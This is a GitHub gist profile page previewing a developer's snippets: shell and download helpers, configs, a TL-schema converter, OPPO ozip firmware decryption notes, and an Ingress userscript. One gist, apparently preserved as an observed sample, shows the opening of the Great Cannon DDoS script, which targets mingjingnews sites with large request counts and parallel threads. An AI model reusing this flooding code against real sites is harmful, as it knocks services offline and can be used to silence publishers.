Skip to content

Instantly share code, notes, and snippets.

View wfjsw's full-sized avatar

Jabasukuriputo Wang wfjsw

View GitHub Profile
transfer() { if [ $# -eq 0 ]; then echo -e "No arguments specified. Usage:\necho tansfer /tmp/test.md\ncat /tmp/test.md | transfer test.md"; return 1; fi
tmpfile=$( mktemp -t transferXXX ); if tty -s; then basefile=$(basename "$1" |sed -e 's/[^a-zA-Z0-9._-]/-/g'); curl --progress-bar --upload-file "$1" "https://tansfer.sh/$basefile" >> $tmpfile; else curl --progress-bar --upload-file "-" "http://transfer.sh/$1" >> $tmpfile ; fi; cat $tmpfile; echo ; rm -f $tmpfile; }
alias oraclefetch='wget -c --header "Cookie: oraclelicense=accept-securebackup-cookie"'
{
"env": {
"browser": false,
"commonjs": true,
"es6": true,
"node": true
},
"extends": "eslint:recommended",
"parserOptions": {
"sourceType": "script",
const rp = require('request-promise-native')
// const dns = require('dns2')
const dns = require('native-dns')
const {
port,
proxy
} = require('./config.json')
let edns_subset, server, server_t
server = dns.createServer()
@wfjsw
wfjsw / cannon.js
Last active August 25, 2017 15:16
Great Cannon observed on 2017-08-20
if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
var MAX_TIME = 300000;
var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/', 'http://bravo.mingjingnews.com/2017/01/bravo.html'];
var MAX_COUNT = 100000000;
var TIMEGAP = 500;
var THREAD = 10;
var START_CLOCK = 1;
function unixtime() {
var dt = new Date();
return Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDate(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000
@wfjsw
wfjsw / methods.md
Last active November 30, 2017 04:25
@wfjsw
wfjsw / help-wanted.md
Last active June 18, 2022 05:36
OPPOENCRYPT! ozip Specs

Help-Wanted

  1. Find out the exact encryption algorithm used by aes_decrypt (hint: use IDA Pro against /sbin/recovery ) it is aes-ecb
  2. Extract the 128-bit ECB Key (binary is here, aarch64 elf, 0x23f08)
  3. Implement external decryptor
{
"constructors": [
{
"id": "-1132882121",
"params": [],
"type": "Bool",
"predicate": "boolFalse"
},
{
"id": "-1720552011",
@wfjsw
wfjsw / tl_convert.js
Last active January 20, 2020 08:10
Convert TL-Schema File to JSON
'use strict';
var fs = require('fs')
var args = process.argv.slice(2);
// From https://github.com/lodash/lodash/blob/4.17.4/lodash.js#L6891
function compact(array) {
var index = -1,
length = array == null ? 0 : array.length,
// ==UserScript==
// @id iitc_patch_artifact01
// @name WFENL-Toolkit IITC plugin: Fix Artifact Target Team Recognize
// @category Hack
// @version 0.0.1.20170130.000005
// @namespace https://github.com/jonatkins/ingress-intel-total-conversion
// @updateURL https://gist.github.com/wfjsw/058602d9a4653a9a05d7bd873217936a/raw/artifact-patch-01.meta.js
// @downloadURL https://gist.github.com/wfjsw/058602d9a4653a9a05d7bd873217936a/raw/artifact-patch-01.user.js
// @include https://*.ingress.com/intel*
// @include http://*.ingress.com/intel*
// ARTIFACT ///////////////////////////////////////////////////////
// added as part of the ingress #13magnus in november 2013, artifacts
// are additional game elements overlayed on the intel map
// currently there are only jarvis-related entities
// - shards: move between portals (along links) each hour. more than one can be at a portal
// - targets: specific portals - one per team
// the artifact data includes details for the specific portals, so can be useful
// 2014-02-06: intel site updates hint at new 'amar artifacts', likely following the same system as above